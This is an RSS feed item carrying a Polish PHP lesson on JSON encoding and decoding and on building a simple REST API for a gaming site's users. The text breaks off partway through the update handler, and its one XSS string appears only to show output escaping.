<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PHP - Kama Kaczmarek</title>
	<atom:link href="https://kamakaczmarek.net/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>https://kamakaczmarek.net/category/php/</link>
	<description>Strona z materiałami dla uczniów i nauczycieli</description>
	<lastBuildDate>Mon, 26 Oct 2026 08:34:58 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>24. PHP – JSON i REST API</title>
		<link>https://kamakaczmarek.net/24-php-json-i-rest-api/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 28 May 2026 10:07:47 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=3539</guid>

					<description><![CDATA[<p>JSON&#160;(JavaScript Object Notation) to lekki format wymiany danych, który jest łatwy do odczytu zarówno dla ludzi, jak i maszyn. Jest standardem w komunikacji między aplikacjami webowymi. REST API&#160;(Representational State Transfer) to architektura tworzenia API wykorzystująca protokół HTTP do komunikacji. 1. JSON &#8211; Podstawy Struktura JSON Typy danych w JSON: 2. json_encode() &#8211; Konwersja PHP → [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/24-php-json-i-rest-api/">24. PHP – JSON i REST API</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>JSON</strong>&nbsp;(JavaScript Object Notation) to lekki format wymiany danych, który jest łatwy do odczytu zarówno dla ludzi, jak i maszyn. Jest standardem w komunikacji między aplikacjami webowymi.</p>



<p class="wp-block-paragraph"><strong>REST API</strong>&nbsp;(Representational State Transfer) to architektura tworzenia API wykorzystująca protokół HTTP do komunikacji.</p>



<h2 class="wp-block-heading">1. JSON &#8211; Podstawy</h2>



<h3 class="wp-block-heading">Struktura JSON</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">{
  "name": "Jan Kowalski",
  "age": 25,
  "active": true,
  "email": null,
  "roles": &#91;"admin", "editor"],
  "address": {
    "city": "Warszawa",
    "zip": "00-001"
  }
}</code></pre>



<p class="wp-block-paragraph"><strong>Typy danych w JSON:</strong></p>



<ul class="wp-block-list">
<li><strong>String</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">"tekst"</code></li>



<li><strong>Number</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">42</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">3.14</code></li>



<li><strong>Boolean</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></li>



<li><strong>null</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code></li>



<li><strong>Array</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">[1, 2, 3]</code></li>



<li><strong>Object</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">{"key": "value"}</code></li>
</ul>



<h2 class="wp-block-heading">2. json_encode() &#8211; Konwersja PHP → JSON</h2>



<h3 class="wp-block-heading">Podstawowe użycie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Tablica asocjacyjna → JSON object
$user = &#91;
    'id' =&gt; 123,
    'username' =&gt; 'ProGamer',
    'email' =&gt; 'pro@example.com',
    'active' =&gt; true,
    'balance' =&gt; null
];

$json = json_encode($user);
echo $json;
// {"id":123,"username":"ProGamer","email":"pro@example.com","active":true,"balance":null}

// Czytelne formatowanie (pretty print)
$json_pretty = json_encode($user, JSON_PRETTY_PRINT);
echo $json_pretty;
/*
{
    "id": 123,
    "username": "ProGamer",
    "email": "pro@example.com",
    "active": true,
    "balance": null
}
*/
?&gt;</code></pre>



<h3 class="wp-block-heading">Opcje json_encode()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$data = &#91;
    'name' =&gt; 'Janek',
    'city' =&gt; 'Kraków',
    'tags' =&gt; &#91;'php', 'javascript'],
    'html' =&gt; '&lt;script&gt;alert("XSS")&lt;/script&gt;',
    'unicode' =&gt; 'Zażółć gęślą jaźń',
    'url' =&gt; 'https://example.com/path?param=value&amp;other=123'
];

// Domyślnie
echo json_encode($data);
// {"name":"Janek","city":"Krak\u00f3w",...}

// JSON_PRETTY_PRINT - czytelne formatowanie
echo json_encode($data, JSON_PRETTY_PRINT);

// JSON_UNESCAPED_UNICODE - nie escapuj Unicode
echo json_encode($data, JSON_UNESCAPED_UNICODE);
// {"city":"Kraków","unicode":"Zażółć gęślą jaźń"}

// JSON_UNESCAPED_SLASHES - nie escapuj ukośników
echo json_encode($data, JSON_UNESCAPED_SLASHES);
// {"url":"https://example.com/path?param=value&amp;other=123"}

// JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_QUOT - bezpieczeństwo XSS
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_QUOT);
// {"html":"\u003Cscript\u003Ealert(\"XSS\")\u003C\/script\u003E"}

// JSON_NUMERIC_CHECK - konwertuj string-liczby na liczby
$mixed = &#91;'age' =&gt; '25', 'price' =&gt; '19.99', 'name' =&gt; 'Jan'];
echo json_encode($mixed, JSON_NUMERIC_CHECK);
// {"age":25,"price":19.99,"name":"Jan"}

// JSON_FORCE_OBJECT - wymuś obiekt zamiast tablicy
$indexed_array = &#91;'a', 'b', 'c'];
echo json_encode($indexed_array); // &#91;"a","b","c"]
echo json_encode($indexed_array, JSON_FORCE_OBJECT); // {"0":"a","1":"b","2":"c"}

// Kombinacja opcji (operator |)
echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
?&gt;</code></pre>



<h3 class="wp-block-heading">Sprawdzanie błędów json_encode()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$data = &#91;
    'name' =&gt; 'Test',
    'invalid' =&gt; "\xB1\x31" // Nieprawidłowy UTF-8
];

$json = json_encode($data);

if ($json === false) {
    // Błąd podczas konwersji
    echo "Błąd JSON: " . json_last_error_msg() . "&lt;br&gt;";
    echo "Kod błędu: " . json_last_error() . "&lt;br&gt;";
    
    /*
    Kody błędów:
    JSON_ERROR_NONE = 0 - Brak błędu
    JSON_ERROR_DEPTH = 1 - Przekroczono maksymalną głębokość
    JSON_ERROR_STATE_MISMATCH = 2 - Nieprawidłowy lub źle sformułowany JSON
    JSON_ERROR_CTRL_CHAR = 3 - Błąd znaku kontrolnego
    JSON_ERROR_SYNTAX = 4 - Błąd składni
    JSON_ERROR_UTF8 = 5 - Nieprawidłowe znaki UTF-8
    */
} else {
    echo "JSON: $json";
}

// JSON_PARTIAL_OUTPUT_ON_ERROR - zwróć częściowy JSON mimo błędów
$json = json_encode($data, JSON_PARTIAL_OUTPUT_ON_ERROR);
echo $json; // {"name":"Test","invalid":null}
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład &#8211; Konwersja danych z bazy do JSON</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Pobierz użytkowników z bazy
$stmt = $db-&gt;prepare("SELECT id, username, email, level, coins, created_at FROM users LIMIT 10");
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();

$users = &#91;];
while ($row = $wynik-&gt;fetch_assoc()) {
    $users&#91;] = $row;
}

$stmt-&gt;close();
$db-&gt;close();

// Konwertuj do JSON
header('Content-Type: application/json; charset=utf-8');
echo json_encode(&#91;
    'success' =&gt; true,
    'count' =&gt; count($users),
    'data' =&gt; $users
], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);

/*
Output:
{
    "success": true,
    "count": 10,
    "data": &#91;
        {
            "id": "1",
            "username": "ProGamer",
            "email": "pro@example.com",
            "level": "15",
            "coins": "1000",
            "created_at": "2024-01-15 10:30:00"
        },
        ...
    ]
}
*/
?&gt;</code></pre>



<h2 class="wp-block-heading">3. json_decode() &#8211; Konwersja JSON → PHP</h2>



<h3 class="wp-block-heading">Podstawowe użycie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$json = '{"id":123,"username":"ProGamer","email":"pro@example.com","active":true}';

// Dekoduj jako obiekt (domyślnie)
$obj = json_decode($json);
echo $obj-&gt;username; // ProGamer
echo $obj-&gt;email;    // pro@example.com

// Dekoduj jako tablicę asocjacyjną (drugi parametr: true)
$array = json_decode($json, true);
echo $array&#91;'username']; // ProGamer
echo $array&#91;'email'];    // pro@example.com
?&gt;</code></pre>



<h3 class="wp-block-heading">Głębokość dekodowania</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$json = '{
    "user": {
        "profile": {
            "address": {
                "city": "Warszawa"
            }
        }
    }
}';

// Domyślna głębokość: 512
$data = json_decode($json, true);
echo $data&#91;'user']&#91;'profile']&#91;'address']&#91;'city']; // Warszawa

// Ograniczona głębokość (trzeci parametr)
$data = json_decode($json, true, 2); // Max 2 poziomy
// Błąd - przekroczono głębokość

if (json_last_error() !== JSON_ERROR_NONE) {
    echo "Błąd: " . json_last_error_msg();
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Sprawdzanie błędów json_decode()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Nieprawidłowy JSON
$invalid_json = '{"name":"Test", "age":25,}'; // Przecinek na końcu!

$data = json_decode($invalid_json, true);

if ($data === null &amp;&amp; json_last_error() !== JSON_ERROR_NONE) {
    echo "Błąd JSON: " . json_last_error_msg() . "&lt;br&gt;";
    echo "Kod błędu: " . json_last_error() . "&lt;br&gt;";
} else {
    print_r($data);
}

// Funkcja pomocnicza do bezpiecznego dekodowania
function safeJsonDecode($json, $assoc = true) {
    $data = json_decode($json, $assoc);
    
    if (json_last_error() !== JSON_ERROR_NONE) {
        throw new Exception('JSON decode error: ' . json_last_error_msg());
    }
    
    return $data;
}

try {
    $data = safeJsonDecode($invalid_json);
} catch (Exception $e) {
    echo "Błąd: " . $e-&gt;getMessage();
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład &#8211; Odbieranie JSON od klienta</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Odbierz surowe dane POST
$json_input = file_get_contents('php://input');

// Dekoduj JSON
$data = json_decode($json_input, true);

if ($data === null) {
    http_response_code(400); // Bad Request
    echo json_encode(&#91;
        'success' =&gt; false,
        'error' =&gt; 'Invalid JSON: ' . json_last_error_msg()
    ]);
    exit;
}

// Przetwórz dane
$username = $data&#91;'username'] ?? '';
$email = $data&#91;'email'] ?? '';

// Walidacja
if (empty($username) || empty($email)) {
    http_response_code(400);
    echo json_encode(&#91;
        'success' =&gt; false,
        'error' =&gt; 'Username and email are required'
    ]);
    exit;
}

// Zapisz do bazy...
// ...

// Zwróć odpowiedź JSON
header('Content-Type: application/json');
echo json_encode(&#91;
    'success' =&gt; true,
    'message' =&gt; 'User registered successfully',
    'user_id' =&gt; 123
]);
?&gt;</code></pre>



<h2 class="wp-block-heading">4. REST API &#8211; Podstawy</h2>



<p class="wp-block-paragraph">Wyobraź sobie, że masz aplikację, która potrzebuje danych znajdujących się na innym serwerze. Aplikacja nie musi wiedzieć, jak działa baza danych ani jak napisany jest serwer. Wysyła po prostu <strong>żądanie</strong> do API i otrzymuje <strong>odpowiedź</strong>.</p>



<p class="wp-block-paragraph"><strong>API</strong> (Application Programming Interface) to sposób, w jaki różne programy mogą się ze sobą komunikować.</p>



<p class="wp-block-paragraph"><strong>REST API</strong> to API, które wykorzystuje standardowe mechanizmy HTTP, takie jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">POST</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PUT</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>, do pracy z danymi.</p>



<p class="wp-block-paragraph">Można to porównać do kelnera w restauracji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ty (aplikacja)
      ↓
  "Poproszę listę użytkowników"
      ↓
   REST API
      ↓
  pobiera dane z bazy
      ↓
   REST API
      ↓
  zwraca dane w JSON
      ↓
Ty (aplikacja)</code></pre>



<p class="wp-block-paragraph">Nie musisz wiedzieć, <strong>jak API pobrało dane z bazy</strong>. Wystarczy, że znasz sposób komunikacji z API.</p>



<p class="wp-block-paragraph">W naszym projekcie PHP będzie właśnie takim pośrednikiem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Aplikacja
    ↓
żądanie HTTP
    ↓
REST API w PHP
    ↓
baza danych
    ↓
REST API w PHP
    ↓
odpowiedź JSON
    ↓
Aplikacja</code></pre>



<h3 class="wp-block-heading">Co oznacza REST?</h3>



<p class="wp-block-paragraph">REST to sposób projektowania API, w którym zasoby, np. użytkownicy, są dostępne pod określonymi adresami, czyli <strong>endpointami</strong>.</p>



<p class="wp-block-paragraph">Przykładowo:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">GET    /api/v1/users       → pobierz użytkowników
GET    /api/v1/users/5     → pobierz użytkownika o ID 5
POST   /api/v1/users       → utwórz użytkownika
PUT    /api/v1/users/5     → zmień użytkownika o ID 5
DELETE /api/v1/users/5     → usuń użytkownika o ID 5</code></pre>



<p class="wp-block-paragraph">Dzięki temu sam adres i metoda HTTP mówią nam, <strong>co chcemy zrobić</strong>.</p>



<p class="wp-block-paragraph"><strong>REST</strong>&nbsp;(Representational State Transfer) to styl architektury API wykorzystujący:</p>



<ul class="wp-block-list">
<li><strong>Metody HTTP</strong>: GET, POST, PUT, DELETE</li>



<li><strong>URL-e jako zasoby</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">/users</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">/users/123</code></li>



<li><strong>Statusy HTTP</strong>: 200 OK, 404 Not Found, 500 Error</li>



<li><strong>Format JSON</strong>&nbsp;do wymiany danych</li>
</ul>



<h3 class="wp-block-heading">Metody HTTP (CRUD)</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Operacja</th><th>Przykład</th><th>Opis</th></tr></thead><tbody><tr><td><strong>GET</strong></td><td>Read</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">GET /users</code></td><td>Pobierz listę użytkowników</td></tr><tr><td><strong>GET</strong></td><td>Read</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">GET /users/123</code></td><td>Pobierz użytkownika o ID 123</td></tr><tr><td><strong>POST</strong></td><td>Create</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">POST /users</code></td><td>Utwórz nowego użytkownika</td></tr><tr><td><strong>PUT</strong></td><td>Update</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">PUT /users/123</code></td><td>Zaktualizuj użytkownika 123 (cały zasób)</td></tr><tr><td><strong>PATCH</strong></td><td>Update</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">PATCH /users/123</code></td><td>Zaktualizuj część danych użytkownika 123</td></tr><tr><td><strong>DELETE</strong></td><td>Delete</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE /users/123</code></td><td>Usuń użytkownika 123</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Statusy HTTP &#8211; Najważniejsze</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kod</th><th>Status</th><th>Znaczenie</th></tr></thead><tbody><tr><td><strong>200</strong></td><td>OK</td><td>Sukces</td></tr><tr><td><strong>201</strong></td><td>Created</td><td>Zasób utworzony</td></tr><tr><td><strong>204</strong></td><td>No Content</td><td>Sukces, brak treści do zwrócenia</td></tr><tr><td><strong>400</strong></td><td>Bad Request</td><td>Błędne żądanie</td></tr><tr><td><strong>401</strong></td><td>Unauthorized</td><td>Brak autoryzacji</td></tr><tr><td><strong>403</strong></td><td>Forbidden</td><td>Brak uprawnień</td></tr><tr><td><strong>404</strong></td><td>Not Found</td><td>Nie znaleziono</td></tr><tr><td><strong>500</strong></td><td>Internal Server Error</td><td>Błąd serwera</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">5. Tworzenie prostego REST API</h2>



<h3 class="wp-block-heading">O projekcie – REST API</h3>



<p class="wp-block-paragraph">W tym projekcie zbudujesz własne <strong>REST API w PHP</strong> dla serwisu gamingowego.</p>



<p class="wp-block-paragraph">API będzie pośrednikiem między aplikacją a bazą danych. Użytkownik lub inna aplikacja wysyła żądanie, PHP je obsługuje, wykonuje odpowiednią operację na bazie danych i zwraca wynik w formacie <strong>JSON</strong>.</p>



<p class="wp-block-paragraph">W praktyce będziesz mógł:</p>



<ul class="wp-block-list">
<li>pobierać użytkowników,</li>



<li>dodawać nowych użytkowników,</li>



<li>edytować ich dane,</li>



<li>usuwać użytkowników,</li>



<li>wyszukiwać i filtrować dane,</li>



<li>korzystać z paginacji.</li>
</ul>



<p class="wp-block-paragraph">Do komunikacji wykorzystasz metody HTTP:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">GET       → pobierz dane
POST      → dodaj dane
PUT       → zmień dane
DELETE    → usuń dane</code></pre>



<p class="wp-block-paragraph">API będziesz testować za pomocą <strong>Postmana</strong> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">curl</code>, a później nauczysz się również korzystać z <strong>zewnętrznych API</strong>, np. GitHub API.</p>



<p class="wp-block-paragraph">Na dalszym etapie dodasz także <strong>autentykację i tokeny</strong>, dzięki czemu zobaczysz, jak API może sprawdzać, kto ma prawo korzystać z określonych danych.</p>



<h3 class="wp-block-heading">Co będzie efektem?</h3>



<p class="wp-block-paragraph">Na końcu będziesz mieć działające API, które potrafi komunikować się z bazą danych i wymieniać dane z innymi aplikacjami.</p>



<p class="wp-block-paragraph">Najważniejszy schemat, który poznasz w tym projekcie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">aplikacja
    ↓
żądanie HTTP
    ↓
REST API w PHP
    ↓
baza danych
    ↓
REST API w PHP
    ↓
odpowiedź JSON
    ↓
aplikacja</code></pre>



<p class="wp-block-paragraph">To będzie Twój pierwszy krok w stronę tworzenia <strong>backendu, z którego mogą korzystać różne aplikacje</strong>, a nie tylko zwykłej strony internetowej.</p>



<h3 class="wp-block-heading">Struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">/api
  /v1
    index.php         # Router
    users.php         # Endpoint użytkowników
    config.php        # Konfiguracja
    Database.php      # Klasa bazy danych
    Response.php      # Klasa odpowiedzi</code></pre>



<h3 class="wp-block-heading">Plik: Response.php &#8211; Klasa pomocnicza</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Response.php

class Response {
    
    public static function json($data, $status_code = 200) {
        http_response_code($status_code);
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    public static function success($data = &#91;], $message = 'Success', $status_code = 200) {
        self::json(&#91;
            'success' =&gt; true,
            'message' =&gt; $message,
            'data' =&gt; $data
        ], $status_code);
    }
    
    public static function error($message = 'Error', $status_code = 400, $errors = &#91;]) {
        self::json(&#91;
            'success' =&gt; false,
            'message' =&gt; $message,
            'errors' =&gt; $errors
        ], $status_code);
    }
    
    public static function notFound($message = 'Resource not found') {
        self::error($message, 404);
    }
    
    public static function unauthorized($message = 'Unauthorized') {
        self::error($message, 401);
    }
    
    public static function serverError($message = 'Internal server error') {
        self::error($message, 500);
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Plik: Database.php &#8211; Klasa bazy danych</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Database.php

class Database {
    
    private $connection;
    
    public function __construct() {
        mysqli_report(MYSQLI_REPORT_OFF);
        $this-&gt;connection = @new mysqli('localhost', 'root', '', 'gaming_hub');
        
        if ($this-&gt;connection-&gt;connect_error) {
            throw new Exception('Database connection failed');
        }
        
        $this-&gt;connection-&gt;set_charset('utf8mb4');
    }
    
    public function query($sql, $params = &#91;], $types = '') {
        $stmt = $this-&gt;connection-&gt;prepare($sql);
        
        if (!$stmt) {
            throw new Exception('Query preparation failed: ' . $this-&gt;connection-&gt;error);
        }
        
        if (!empty($params)) {
            $stmt-&gt;bind_param($types, ...$params);
        }
        
        if (!$stmt-&gt;execute()) {
            throw new Exception('Query execution failed: ' . $stmt-&gt;error);
        }
        
        return $stmt;
    }
    
    public function fetchAll($sql, $params = &#91;], $types = '') {
        $stmt = $this-&gt;query($sql, $params, $types);
        $result = $stmt-&gt;get_result();
        $data = $result-&gt;fetch_all(MYSQLI_ASSOC);
        $stmt-&gt;close();
        return $data;
    }
    
    public function fetchOne($sql, $params = &#91;], $types = '') {
        $stmt = $this-&gt;query($sql, $params, $types);
        $result = $stmt-&gt;get_result();
        $data = $result-&gt;fetch_assoc();
        $stmt-&gt;close();
        return $data;
    }
    
    public function insert($sql, $params = &#91;], $types = '') {
        $stmt = $this-&gt;query($sql, $params, $types);
        $insert_id = $stmt-&gt;insert_id;
        $stmt-&gt;close();
        return $insert_id;
    }
    
    public function update($sql, $params = &#91;], $types = '') {
        $stmt = $this-&gt;query($sql, $params, $types);
        $affected_rows = $stmt-&gt;affected_rows;
        $stmt-&gt;close();
        return $affected_rows;
    }
    
    public function delete($sql, $params = &#91;], $types = '') {
        return $this-&gt;update($sql, $params, $types);
    }
    
    public function close() {
        $this-&gt;connection-&gt;close();
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Plik: users.php &#8211; API użytkowników</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// users.php

require_once 'Response.php';
require_once 'Database.php';

class UsersAPI {
    
    private $db;
    private $method;
    private $user_id;
    
    public function __construct() {
        $this-&gt;db = new Database();
        $this-&gt;method = $_SERVER&#91;'REQUEST_METHOD'];
        
        // Pobierz ID z URL (np. /users/123)
        $uri_parts = explode('/', trim($_SERVER&#91;'REQUEST_URI'], '/'));
        $this-&gt;user_id = isset($uri_parts&#91;3]) ? (int)$uri_parts&#91;3] : null;
    }
    
    public function handleRequest() {
        
        try {
            switch ($this-&gt;method) {
                case 'GET':
                    $this-&gt;handleGet();
                    break;
                    
                case 'POST':
                    $this-&gt;handlePost();
                    break;
                    
                case 'PUT':
                    $this-&gt;handlePut();
                    break;
                    
                case 'DELETE':
                    $this-&gt;handleDelete();
                    break;
                    
                default:
                    Response::error('Method not allowed', 405);
            }
            
        } catch (Exception $e) {
            error_log("API Error: " . $e-&gt;getMessage());
            Response::serverError($e-&gt;getMessage());
        }
    }
    
    // GET - Pobierz użytkowników lub konkretnego użytkownika
    private function handleGet() {
        
        if ($this-&gt;user_id) {
            // GET /users/123 - Pobierz konkretnego użytkownika
            $user = $this-&gt;db-&gt;fetchOne(
                "SELECT id, username, email, level, coins, created_at FROM users WHERE id = ?",
                &#91;$this-&gt;user_id],
                'i'
            );
            
            if (!$user) {
                Response::notFound("User with ID {$this-&gt;user_id} not found");
            }
            
            Response::success($user, 'User retrieved successfully');
            
        } else {
            // GET /users - Pobierz listę użytkowników
            
            // Paginacja
            $page = isset($_GET&#91;'page']) ? max(1, (int)$_GET&#91;'page']) : 1;
            $limit = isset($_GET&#91;'limit']) ? min(100, max(1, (int)$_GET&#91;'limit'])) : 10;
            $offset = ($page - 1) * $limit;
            
            // Filtrowanie
            $where = &#91;];
            $params = &#91;];
            $types = '';
            
            if (isset($_GET&#91;'level_min'])) {
                $where&#91;] = "level &gt;= ?";
                $params&#91;] = (int)$_GET&#91;'level_min'];
                $types .= 'i';
            }
            
            if (isset($_GET&#91;'search'])) {
                $where&#91;] = "(username LIKE ? OR email LIKE ?)";
                $search = '%' . $_GET&#91;'search'] . '%';
                $params&#91;] = $search;
                $params&#91;] = $search;
                $types .= 'ss';
            }
            
            $where_sql = !empty($where) ? 'WHERE ' . implode(' AND ', $where) : '';
            
            // Pobierz użytkowników
            $sql = "SELECT id, username, email, level, coins, created_at FROM users $where_sql ORDER BY id DESC LIMIT ? OFFSET ?";
            $params&#91;] = $limit;
            $params&#91;] = $offset;
            $types .= 'ii';
            
            $users = $this-&gt;db-&gt;fetchAll($sql, $params, $types);
            
            // Pobierz całkowitą liczbę
            $count_sql = "SELECT COUNT(*) as total FROM users $where_sql";
            $count_params = array_slice($params, 0, -2); // Usuń limit i offset
            $count_types = substr($types, 0, -2);
            $count_result = $this-&gt;db-&gt;fetchOne($count_sql, $count_params, $count_types);
            $total = $count_result&#91;'total'];
            
            Response::success(&#91;
                'users' =&gt; $users,
                'pagination' =&gt; &#91;
                    'page' =&gt; $page,
                    'limit' =&gt; $limit,
                    'total' =&gt; (int)$total,
                    'pages' =&gt; ceil($total / $limit)
                ]
            ], 'Users retrieved successfully');
        }
    }
    
    // POST - Utwórz nowego użytkownika
    private function handlePost() {
        
        // Pobierz dane JSON
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        if (!$data) {
            Response::error('Invalid JSON', 400);
        }
        
        // Walidacja
        $errors = &#91;];
        
        $username = trim($data&#91;'username'] ?? '');
        if (empty($username)) {
            $errors&#91;] = 'Username is required';
        } elseif (strlen($username) &lt; 3) {
            $errors&#91;] = 'Username must be at least 3 characters';
        }
        
        $email = trim($data&#91;'email'] ?? '');
        if (empty($email)) {
            $errors&#91;] = 'Email is required';
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors&#91;] = 'Invalid email format';
        }
        
        $password = $data&#91;'password'] ?? '';
        if (empty($password)) {
            $errors&#91;] = 'Password is required';
        } elseif (strlen($password) &lt; 8) {
            $errors&#91;] = 'Password must be at least 8 characters';
        }
        
        if (!empty($errors)) {
            Response::error('Validation failed', 400, $errors);
        }
        
        // Sprawdź czy username istnieje
        $existing = $this-&gt;db-&gt;fetchOne(
            "SELECT id FROM users WHERE username = ?",
            &#91;$username],
            's'
        );
        
        if ($existing) {
            Response::error("Username '$username' is already taken", 409);
        }
        
        // Utwórz użytkownika
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $new_id = $this-&gt;db-&gt;insert(
            "INSERT INTO users (username, email, password, created_at) VALUES (?, ?, ?, NOW())",
            &#91;$username, $email, $password_hash],
            'sss'
        );
        
        // Pobierz utworzonego użytkownika
        $user = $this-&gt;db-&gt;fetchOne(
            "SELECT id, username, email, created_at FROM users WHERE id = ?",
            &#91;$new_id],
            'i'
        );
        
        Response::success($user, 'User created successfully', 201);
    }
    
    // PUT - Zaktualizuj użytkownika
    private function handlePut() {
        
        if (!$this-&gt;user_id) {
            Response::error('User ID is required', 400);
        }
        
        // Sprawdź czy użytkownik istnieje
        $user = $this-&gt;db-&gt;fetchOne(
            "SELECT id FROM users WHERE id = ?",
            &#91;$this-&gt;user_id],
            'i'
        );
        
        if (!$user) {
            Response::notFound("User with ID {$this-&gt;user_id} not found");
        }
        
        // Pobierz dane JSON
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        if (!$data) {
            Response::error('Invalid JSON', 400);
        }
        
        // Walidacja
        $email = trim($data&#91;'email'] ?? '');
        if (!empty($email) &amp;&amp; !filter_var($email, FILTER_VALIDATE_EMAIL)) {
            Response::error('Invalid email format', 400);
        }
        
        $level = isset($data&#91;'level']) ? (int)$data&#91;'level'] : null;
